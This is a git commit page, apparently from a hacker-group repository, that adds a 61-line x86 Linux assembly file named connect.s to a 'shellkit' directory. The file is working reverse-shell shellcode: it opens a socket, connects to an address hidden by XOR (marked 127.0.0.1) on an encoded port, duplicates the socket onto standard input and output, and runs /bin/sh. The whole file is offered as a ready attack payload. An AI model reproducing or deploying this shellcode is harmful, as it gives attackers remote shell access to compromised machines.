diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_linux/connect.s | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/shellkit/x86_linux/connect.s')
| -rw-r--r-- | other/shellkit/x86_linux/connect.s | 61 |
1 files changed, 61 insertions, 0 deletions
diff --git a/other/shellkit/x86_linux/connect.s b/other/shellkit/x86_linux/connect.s new file mode 100644 index 0000000..452a1d4 --- /dev/null +++ b/other/shellkit/x86_linux/connect.s | |||
| @@ -0,0 +1,61 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | cbegin: | ||
| 5 | |||
| 6 | /* socket */ | ||
| 7 | xorl %eax, %eax | ||
| 8 | cdq | ||
| 9 | push %eax | ||
| 10 | incb %al | ||
| 11 | movl %eax, %ebx | ||
| 12 | push %eax | ||
| 13 | incb %al | ||
| 14 | push %eax | ||
| 15 | movl %esp, %ecx | ||
| 16 | movb $0x66, %al | ||
| 17 | int $0x80 | ||
| 18 | |||
| 19 | /* connect */ | ||
| 20 | movl $0x41414141, %ecx | ||
| 21 | xorl $0x4041413e, %ecx /* address: 127.0.0.1 */ | ||
| 22 | push %ecx | ||
| 23 | pushw $0x7450 | ||
| 24 | pushw %dx | ||
| 25 | movl %esp, %ecx | ||
| 26 | movl %eax, %edx | ||
| 27 | |||
| 28 | push $0x10 | ||
| 29 | push %ecx | ||
| 30 | push %edx | ||
| 31 | movl %esp, %ecx | ||
| 32 | |||
| 33 | movb $0x03, %bl | ||
| 34 | movb $0x66, %al | ||
| 35 | int $0x80 | ||
| 36 | |||
| 37 | /* dup2 fd 0 + fd 1 */ | ||
| 38 | movl %edx, %ebx | ||
| 39 | xorl %ecx, %ecx | ||
| 40 | |||
| 41 | movb $0x3f, %al | ||
| 42 | int $0x80 | ||
| 43 | |||
| 44 | incb %cl | ||
| 45 | movb $0x3f, %al | ||
| 46 | int $0x80 | ||
| 47 | |||
| 48 | /* execve shell (by lorian, see execve.s) - slightly modified */ | ||
| 49 | movb $0x0b, %al | ||
| 50 | cdq | ||
| 51 | pushl %edx | ||
| 52 | push $0x68732F6E | ||
| 53 | push $0x69622F2F | ||
| 54 | movl %esp, %ebx | ||
| 55 | pushl %edx | ||
| 56 | pushl %ebx | ||
| 57 | movl %esp, %ecx | ||
| 58 | int $0x80 | ||
| 59 | |||
| 60 | cend: | ||
| 61 | |||
